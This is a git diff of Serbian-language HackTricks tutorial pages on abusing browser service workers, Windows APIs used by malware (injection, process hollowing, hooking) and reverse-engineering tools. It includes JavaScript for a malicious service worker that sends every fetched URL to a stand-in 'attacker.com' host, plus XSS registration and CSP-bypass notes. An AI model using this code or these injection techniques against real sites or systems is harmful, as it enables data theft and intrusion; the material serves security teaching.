* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova** [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud).
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova** na [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,12 +24,12 @@
## Osnovne informacije
**Servisni radnik** je skripta koju vaš pretraživač pokreće u pozadini, odvojeno od bilo koje veb stranice, omogućavajući funkcije koje ne zahtevaju veb stranicu ili interakciju korisnika, čime se poboljšavaju mogućnosti **offline i obrade u pozadini**. Detaljne informacije o servisnim radnicima mogu se pronaći [ovde](https://developers.google.com/web/fundamentals/primers/service-workers). Iskorišćavanjem servisnih radnika unutar ranjive veb domene, napadači mogu preuzeti kontrolu nad interakcijama žrtve sa svim stranicama unutar te domene.
**Servisni radnik** je skripta koju vaš pregledač pokreće u pozadini, odvojeno od bilo koje veb stranice, omogućavajući funkcije koje ne zahtevaju veb stranicu ili interakciju korisnika, čime se poboljšavaju mogućnosti **offline i obrade u pozadini**. Detaljne informacije o servisnim radnicima mogu se pronaći [ovde](https://developers.google.com/web/fundamentals/primers/service-workers). Iskorišćavanjem servisnih radnika unutar ranjive veb domene, napadači mogu preuzeti kontrolu nad interakcijama žrtve sa svim stranicama unutar te domene.
### Provera postojanja servisnih radnika
Postojeće servisne radnike možete proveriti u odeljku **Servisni radnici** u **Aplikaciji** kartici u **Alatkama za razvoj**. Drugi način je posetiti [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) za detaljniji prikaz.
Postojeće servisne radnike možete proveriti u odeljku **Servisni radnici** u kartici **Aplikacija** u **Alatkama za razvoj**. Drugi način je posetiti [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) za detaljniji prikaz.
### Obaveštenja o guranju
@ -40,7 +40,7 @@ Postojeće servisne radnike možete proveriti u odeljku **Servisni radnici** u *
Da biste iskoristili ovu ranjivost, morate pronaći:
* Način za **učitavanje proizvoljnih JS** fajlova na server i **XSS za učitavanje servisnog radnika** učitanog JS fajla
* **Ranjiv JSONP zahtev** gde možete **manipulisati izlazom (sa proizvoljnim JS kodom)** i **XSS** za **učitavanje JSONP sa payloadom** koji će **učitati zlonamernog servisnog radnika**.
* **Ranjiv JSONP zahtev** gde možete **manipulisati izlazom (sa proizvoljnim JS kodom)** i **XSS** za **učitavanje JSONP-a sa payloadom** koji će **učitati zlonamernog servisnog radnika**.
U sledećem primeru ću prikazati kod za **registrovanje novog servisnog radnika** koji će osluškivati događaj `fetch` i **slati serveru napadača svaki preuzeti URL** (ovo je kod koji biste trebali **učitati** na **server** ili učitati putem **ranjivog JSONP** odgovora):
```javascript
@ -49,7 +49,7 @@ e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```
I ovo je kod koji će **registrovati radnika** (kod koji biste trebali moći da izvršite zloupotrebom **XSS**-a). U ovom slučaju će biti poslat **GET** zahtev **napadačevom** serveru koji će **obavestiti** da li je **registracija** servisnog radnika bila uspešna ili ne:
I ovo je kod koji će **registrovati radnika** (kod koji biste trebali moći da izvršite zloupotrebom **XSS**-a). U ovom slučaju će **GET** zahtev biti poslat **napadačevom** serveru **obaveštavajući** da li je **registracija** servisnog radnika bila uspešna ili ne:
```javascript
<script>
window.addEventListener('load', function() {
@ -77,9 +77,9 @@ Direktiva **keša od 24 sata** ograničava život zlonamernog ili kompromitovano
## Zloupotreba `importScripts` u SW putem DOM Clobbering
Funkcija **`importScripts`** pozvana iz Servisnog Radnika može **uvoziti skriptu sa različite domene**. Ako se ova funkcija pozove koristeći **parametar koji napadač može** modifikovati, on bi mogao **uvoziti JS skriptu sa svoje domene** i dobiti XSS.
Funkcija **`importScripts`** pozvana iz Servisnog Radnika može **uvoziti skriptu sa različite domene**. Ako se ova funkcija pozove koristeći **parametar koji napadač može** izmeniti, on bi mogao **uvoziti JS skriptu sa svoje domene** i dobiti XSS.
**Ovo čak zaobilazi CSP zaštite.**
**Ovo čak zaobilazi zaštitu CSP-a.**
**Primer ranjivog koda:**
@ -105,7 +105,7 @@ Za više informacija o tome šta je DOM Clobbering, pogledajte:
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
Ako je URL/domenu na koju SW poziva **`importScripts`** **unutar HTML elementa**, moguće je **izmeniti je putem DOM Clobbering-a** kako bi SW **učitao skriptu sa vaše sopstvene domene**.
Ako je URL/domenu gde SW koristi **`importScripts`** unutar HTML elementa, moguće je izmeniti ga putem DOM Clobbering-a kako bi SW učitao skriptu sa vaše sopstvene domene.
Za primer pogledajte referentni link.
@ -115,7 +115,7 @@ Za primer pogledajte referentni link.
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -123,7 +123,7 @@ Za primer pogledajte referentni link.
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

View file

@ -1,4 +1,4 @@
# Često korišćeni API u Malveru
# Često korišćene API u Malveru
<details>
@ -8,7 +8,7 @@ Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -62,12 +62,12 @@ Drugi načini podrške HackTricks-u:
| Ime Funkcije | Skup Instrukcija |
| --------------------------------------------------------- | ---------------- |
| IsDebuggerPresent() | CPUID() |
| GetSystemInfo() | IN() |
| GlobalMemoryStatusEx() | |
| GetVersion() | |
| CreateToolhelp32Snapshot \[Provera da li je proces pokrenut] | |
| CreateFileW/A \[Provera da li fajl postoji] | |
| IsDebuggerPresent() | CPUID() |
| GetSystemInfo() | IN() |
| GlobalMemoryStatusEx() | |
| GetVersion() | |
| CreateToolhelp32Snapshot \[Provera da li je proces pokrenut] | |
| CreateFileW/A \[Provera da li fajl postoji] | |
### Skrivanje
@ -130,13 +130,13 @@ Pronađite nit iz procesa i naterajte je da učita zlonamerni DLL
1. Pronađite ciljnu nit: CreateToolhelp32Snapshot, Thread32First, Thread32Next
2. Otvorite nit: OpenThread
3. Suspendujte nit: SuspendThread
4. Napišite putanju do zlonamernog DLL-a unutar žrtvenog procesa: VirtualAllocEx, WriteProcessMemory
3. Pauzirajte nit: SuspendThread
4. Napišite putanju do zlonamernog DLL-a unutar procesa žrtve: VirtualAllocEx, WriteProcessMemory
5. Nastavite nit koja učitava biblioteku: ResumeThread
### PE Ubrizgavanje
Ubrizgavanje Portable Execution: Izvršni fajl će biti napisan u memoriji žrtvenog procesa i izvršavaće se odatle.
Ubrizgavanje Pokretne Izvršne Datoteke: Izvršna datoteka će biti upisana u memoriju procesa žrtve i izvršena odande.
### Procesno Ispraznjenje
@ -149,16 +149,16 @@ Malver će ukloniti legitimni kod iz memorije procesa i učitati zlonamerni bina
## Hakovanje
* **SSDT** (**Tabela Deskriptora Sistemskih Servisa**) pokazuje na funkcije jezgra (ntoskrnl.exe) ili GUI drajvera (win32k.sys) tako da korisnički procesi mogu pozvati ove funkcije.
* **SSDT** (**Tabela Deskriptora Sistemskih Servisa**) pokazuje na jezgro funkcija (ntoskrnl.exe) ili GUI drajver (win32k.sys) tako da korisnički procesi mogu pozvati ove funkcije.
* Rootkit može modifikovati ove pokazivače na adrese koje kontroliše
* **IRP** (**I/O Zahtevni Paketi**) prenose delove podataka od jedne komponente do druge. Skoro sve u jezgru koristi IRP-ove i svaki objekat uređaja ima svoju funkcionalnu tabelu koja može biti hakovana: DKOM (Direktno Manipulisanje Objektima Jezgra)
* **IRP** (**I/O Zahtev Paketi**) prenose delove podataka od jednog komponenta do drugog. Skoro sve u jezgru koristi IRP-ove i svaki objekat uređaja ima svoju funkcionalnu tabelu koja može biti hakovana: DKOM (Direktno Manipulisanje Objektima Jezgra)
* **IAT** (**Tabela Adresa Uvoza**) je korisna za rešavanje zavisnosti. Moguće je hakovati ovu tabelu kako bi se preotela koda koja će biti pozvana.
* **EAT** (**Tabela Adresa Izvoza**) Hakovi. Ovi hakovi mogu biti urađeni iz **userland-a**. Cilj je hakovati izvožene funkcije od strane DLL-ova.
* **Inline Hakovi**: Ovaj tip je teško postići. Uključuje modifikovanje koda funkcija samih. Možda postavljanjem skoka na početku ovoga.
* **Inline Hakovi**: Ovaj tip je teško postići. Uključuje modifikovanje koda samih funkcija. Možda postavljanjem skoka na početku ovoga.
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -170,6 +170,6 @@ Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Podelite svoje hakovanje trikove podnošenjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github repozitorijume.**

View file

@ -6,7 +6,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -34,7 +34,7 @@ Online:
* Koristite [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) za **dekompajliranje** iz wasm (binarno) u wat (čisti tekst)
* Koristite [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) za **kompajliranje** iz wat u wasm
* Takođe možete probati da koristite [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) za dekompajliranje
* Možete takođe probati da koristite [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) za dekompajliranje
Softver:
@ -47,7 +47,7 @@ Softver:
dotPeek je dekompajler koji **dekompajlira i analizira više formata**, uključujući **biblioteke** (.dll), **Windows metapodatke** (.winmd) i **izvršne datoteke** (.exe). Nakon dekompajliranja, skup može biti sačuvan kao Visual Studio projekat (.csproj).
Prednost ovde je da ako izgubljeni izvorni kod zahteva obnovu iz nasleđene skupštine, ova akcija može uštedeti vreme. Nadalje, dotPeek pruža korisnu navigaciju kroz dekompajlirani kod, čineći ga jednim od savršenih alata za **Xamarin analizu algoritma.**
Prednost ovde je da ako izgubljeni izvorni kod zahteva obnovu iz zastarele skupštine, ova akcija može uštedeti vreme. Nadalje, dotPeek pruža korisnu navigaciju kroz dekompajlirani kod, čineći ga jednim od savršenih alata za **Xamarin analizu algoritma.**
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
@ -63,7 +63,7 @@ Sa sveobuhvatnim modelom dodataka i API-jem koji proširuje alat da odgovara va
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
[ILSpy dodatak za Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Možete ga imati na bilo kom OS-u (možete ga instalirati direktno iz VSCode-a, nije potrebno preuzimanje sa gita. Kliknite na **Extensions** i **pretražite ILSpy**).\
Ako trebate **dekompajlirati**, **izmeniti** i **ponovo kompajlirati** možete koristiti [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) ili aktivno održanu verziju, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Desni klik -> Izmeni Metodu** da promenite nešto unutar funkcije).
Ako trebate **dekompajlirati**, **izmeniti** i **ponovo kompajlirati** možete koristiti [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) ili aktivno održavanu verziju, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Desni klik -> Modify Method** da promenite nešto unutar funkcije).
### DNSpy Logging
@ -73,11 +73,11 @@ using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt";
File.AppendAllText(path, "Password: " + password + "\n");
```
### DNSpy Debugging
### DNSpy Debugiranje
Da biste debagovali kod koristeći DNSpy, trebate:
Da biste debagovali kod koristeći DNSpy, treba da:
Prvo, promenite **Atribute skupštine** koji se odnose na **debagovalje**:
Prvo, promenite **Atribute skupa podataka** koji se odnose na **debugiranje**:
![](<../../.gitbook/assets/image (278).png>)
```aspnet
@ -98,9 +98,9 @@ Zatim sačuvajte novu datoteku preko _**File >> Save module...**_:
![](<../../.gitbook/assets/image (279).png>)
Ovo je neophodno jer ako to ne uradite, u **runtime-u** će biti primenjeno nekoliko **optimizacija** na kod i moguće je da prilikom **debugiranja** **break-point** nikada neće biti dostignut ili neke **promenljive neće postojati**.
Ovo je neophodno jer ako to ne uradite, u **runtime-u** će biti primenjene neke **optimizacije** na kod i moguće je da prilikom **debugiranja** **break-point** nikada neće biti dostignut ili neke **promenljive neće postojati**.
Zatim, ako se vaša .NET aplikacija **pokreće** putem **IIS-a**, možete je **restartovati** sa:
Zatim, ako se vaša .NET aplikacija **pokreće** preko **IIS-a**, možete je **restartovati** sa:
```
iisreset /noforce
```
@ -145,18 +145,18 @@ Desni klik na bilo koji modul u **Assembly Exploreru** i kliknite na **Sort Asse
![](<../../.gitbook/assets/image (136).png>)
Zatim, kada počnete sa debagovanjem, **izvršenje će biti zaustavljeno kada se svaki DLL učita**, zatim, kada rundll32 učita vaš DLL, izvršenje će biti zaustavljeno.
Zatim, kada započnete sa debagovanjem, **izvršenje će biti zaustavljeno kada se svaki DLL učita**, zatim, kada rundll32 učita vaš DLL, izvršenje će biti zaustavljeno.
Ali, kako možete pristupiti kodu DLL-a koji je učitan? Korišćenjem ovog metoda, ne znam kako.
### Korišćenje x64dbg/x32dbg
* **Učitajte rundll32** (64-bitni u C:\Windows\System32\rundll32.exe i 32-bitni u C:\Windows\SysWOW64\rundll32.exe)
* **Promenite Command Line** ( _File --> Change Command Line_ ) i postavite putanju do DLL-a i funkciju koju želite da pozovete, na primer: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
* **Promenite Command Line** ( _File --> Change Command Line_ ) i postavite putanju do dll-a i funkciju koju želite da pozovete, na primer: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
* Promenite _Options --> Settings_ i izaberite "**DLL Entry**".
* Zatim **pokrenite izvršenje**, debager će se zaustaviti na svakom dll main, u nekom trenutku ćete **zastati u dll Entry vašeg dll-a**. Odande, jednostavno tražite tačke gde želite postaviti prekid.
* Zatim **pokrenite izvršenje**, debager će se zaustaviti na svakom dll main, u nekom trenutku ćete **zastati u dll Entry vašeg dll-a**. Odande, jednostavno potražite tačke gde želite postaviti prekid.
Primetite da kada je izvršenje zaustavljeno iz bilo kog razloga u win64dbg možete videti **u kojem kodu se nalazite** gledajući u **vrhu prozora win64dbg**:
Primetite da kada je izvršenje zaustavljeno iz bilo kog razloga u win64dbg-u možete videti **u kojem kodu se nalazite** gledajući u **vrhu prozora win64dbg**:
![](<../../.gitbook/assets/image (137).png>)
@ -178,7 +178,7 @@ Zatim, gledajući ovo, možete videti kada je izvršenje zaustavljeno u dll-u ko
### Debagovanje shellkoda sa blobrunnerom
[**Blobrunner**](https://github.com/OALabs/BlobRunner) će **dodeliti** **shellkod** unutar prostora memorije, **pokazati** vam **adresu memorije** gde je shellkod dodeljen i **zaustaviti** izvršenje.\
[**Blobrunner**](https://github.com/OALabs/BlobRunner) će **dodeliti** shellkod unutar prostora memorije, **pokazati** vam **adresu memorije** gde je shellkod dodeljen i **zaustaviti** izvršenje.\
Zatim, treba da **povežete debager** (Ida ili x64dbg) sa procesom i postavite **prekid na označenu adresu memorije** i **nastavite** izvršenje. Na ovaj način ćete debagovati shellkod.
Stranica sa izdanjima na githubu sadrži zipove sa kompilovanim izdanjima: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
@ -190,7 +190,7 @@ Možete pronaći malo izmenjenu verziju Blobrunnera na sledećem linku. Da biste
### Debagovanje shellkoda sa jmp2it
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)je vrlo sličan blobrunneru. **Dodeliće** **shellkod** unutar prostora memorije i pokrenuti **večnu petlju**. Zatim treba da **povežete debager** sa procesom, **pokrenete, sačekate 2-5 sekundi i pritisnete stop** i naći ćete se unutar **večne petlje**. Skočite na sledeću instrukciju večne petlje jer će biti poziv shellkodu, i na kraju ćete se naći kako izvršavate shellkod.
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)je vrlo sličan blobrunneru. On će **dodeliti** shellkod unutar prostora memorije i pokrenuti **večnu petlju**. Zatim treba da **povežete debager** sa procesom, **pokrenete, sačekate 2-5 sekundi i pritisnete stop** i naći ćete se unutar **večne petlje**. Skočite na sledeću instrukciju večne petlje jer će to biti poziv shellkodu, i na kraju ćete se naći kako izvršavate shellkod.
![](<../../.gitbook/assets/image (397).png>)
@ -198,9 +198,9 @@ Možete preuzeti kompilovanu verziju [jmp2it sa stranice sa izdanjima](https://g
### Debagovanje shellkoda korišćenjem Cutter-a
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) je GUI za radare. Korišćenjem Cutter-a možete emulirati shellkod i dinamički ga pregledati.
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) je GUI za radare. Korišćenjem Cutter-a možete emulirati shellkod i dinamički ga inspicirati.
Imajte na umu da Cutter omogućava "Otvori datoteku" i "Otvori shellkod". U mom slučaju, kada sam otvorio shellkod kao datoteku, dekompajlirao ga je ispravno, ali kada sam ga otvorio kao shellkod, nije:
Imajte na umu da Cutter vam omogućava da "Otvorite datoteku" i "Otvorite shellkod". U mom slučaju, kada sam otvorio shellkod kao datoteku, dekompajlirao ga je ispravno, ali kada sam ga otvorio kao shellkod, nije:
![](<../../.gitbook/assets/image (400).png>)
@ -232,7 +232,7 @@ scDbg takođe ima grafički pokretač gde možete izabrati opcije koje želite i
Opcija **Create Dump** će izbaciti konačni shellcode ako je bilo kakva promena urađena na shellcode-u dinamički u memoriji (korisno za preuzimanje dekodiranog shellcode-a). **Start offset** može biti koristan da se shellcode pokrene na određenom offsetu. Opcija **Debug Shell** je korisna za debugovanje shellcode-a koristeći scDbg terminal (međutim, smatram da su bilo koje od opcija objašnjenih ranije bolje za ovu svrhu jer ćete moći koristiti Ida ili x64dbg).
### Disassembling korišćenjem CyberChefa
### Disasembliranje korišćenjem CyberChefa
Otpremite svoj fajl sa shellcode-om kao ulaz i koristite sledeći recept za dekompilaciju: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\))
@ -250,7 +250,7 @@ apt-get install libz3-dev
```
I [instaliraj keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
Ako igrate **CTF, ovaj trik za pronalaženje zastave** može biti veoma koristan: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
Ako igrate **CTF, ovaj workaround za pronalaženje zastave** može biti veoma koristan: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
## Rust
@ -265,17 +265,17 @@ Imajući **ime** **funkcija** koje se pozivaju, pretražite ih na **Internetu**
Za Delphi kompilovane binarne fajlove možete koristiti [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
Ako morate da rešite Delphi binarni fajl, predlažem vam da koristite IDA dodatak [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
Ako morate da obrnete Delphi binarni fajl, predlažem vam da koristite IDA dodatak [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
Samo pritisnite **ATL+f7** (uvozite python dodatak u IDA) i izaberite python dodatak.
Ovaj dodatak će izvršiti binarni fajl i dinamički rešiti imena funkcija na početku debagovanja. Nakon pokretanja debagovanja ponovo pritisnite dugme Start (zelena strelica ili f9) i prekidna tačka će biti postavljena na početku stvarnog koda.
Ovaj dodatak će izvršiti binarni fajl i dinamički rešiti imena funkcija na početku debagovanja. Nakon pokretanja debagovanja ponovo pritisnite dugme Start (zelena strelica ili f9) i prekidač će se aktivirati na početku stvarnog koda.
Takođe je veoma interesantno jer ako pritisnete dugme u grafičkoj aplikaciji, debager će se zaustaviti u funkciji koju izvršava to dugme.
## Golang
Ako morate da rešite Golang binarni fajl, predlažem vam da koristite IDA dodatak [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
Ako morate da obrnete Golang binarni fajl, predlažem vam da koristite IDA dodatak [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
Samo pritisnite **ATL+f7** (uvozite python dodatak u IDA) i izaberite python dodatak.
@ -283,7 +283,7 @@ Ovo će rešiti imena funkcija.
## Kompajlirani Python
Na ovoj stranici možete pronaći kako da dobijete python kod iz ELF/EXE python kompilovanog binarnog fajla:
Na ovoj stranici možete pronaći kako da dobijete python kod iz ELF/EXE python kompajliranog binarnog fajla:
{% content-ref url="../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
[.pyc.md](../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
@ -302,7 +302,7 @@ U [**no$gba**](https://problemkaputt.de/gba.htm), u _**Options --> Emulation Set
![](<../../.gitbook/assets/image (578).png>)
Kada se pritisne, svaki **taster ima vrednost** za identifikaciju:
Kada se pritisne, svako **dugme ima vrednost** koja ga identifikuje:
```
A = 1
B = 2
@ -315,7 +315,7 @@ DOWN = 128
R = 256
L = 256
```
Dakle, u ovakvom programu, interesantan deo će biti **kako program tretira korisnički unos**. Na adresi **0x4000130** nalazi se često korišćena funkcija: **KEYINPUT**.
Dakle, u ovakvom programu, interesantan deo će biti **kako program tretira korisnički unos**. Na adresi **0x4000130** pronaći ćete često korišćenu funkciju: **KEYINPUT**.
![](<../../.gitbook/assets/image (579).png>)
@ -390,7 +390,7 @@ U prethodnom kodu možete videti da upoređujemo **uVar1** (mesto gde je **vredn
* U svim ostalim slučajevima se proverava neka kont (`DAT_030000d4`). To je kont jer se dodaje 1 odmah nakon unosa koda.\
Ako je manje od 8, nešto što uključuje **dodavanje** vrednosti u **`DAT_030000d8`** se radi (u osnovi se dodaju vrednosti pritisnutih tastera u ovu promenljivu dok je kont manji od 8).
Dakle, u ovom izazovu, znajući vrednosti dugmadi, trebalo je **pritisnuti kombinaciju dužine manje od 8 čija rezultujuća suma bude 0xf3.**
Dakle, u ovom izazovu, znajući vrednosti dugmadi, trebalo je **pritisnuti kombinaciju dužine manje od 8 čija rezultujuća zbirka bude 0xf3.**
**Reference za ovaj tutorijal:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
@ -405,7 +405,7 @@ Dakle, u ovom izazovu, znajući vrednosti dugmadi, trebalo je **pritisnuti kombi
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -415,7 +415,7 @@ Dakle, u ovom izazovu, znajući vrednosti dugmadi, trebalo je **pritisnuti kombi
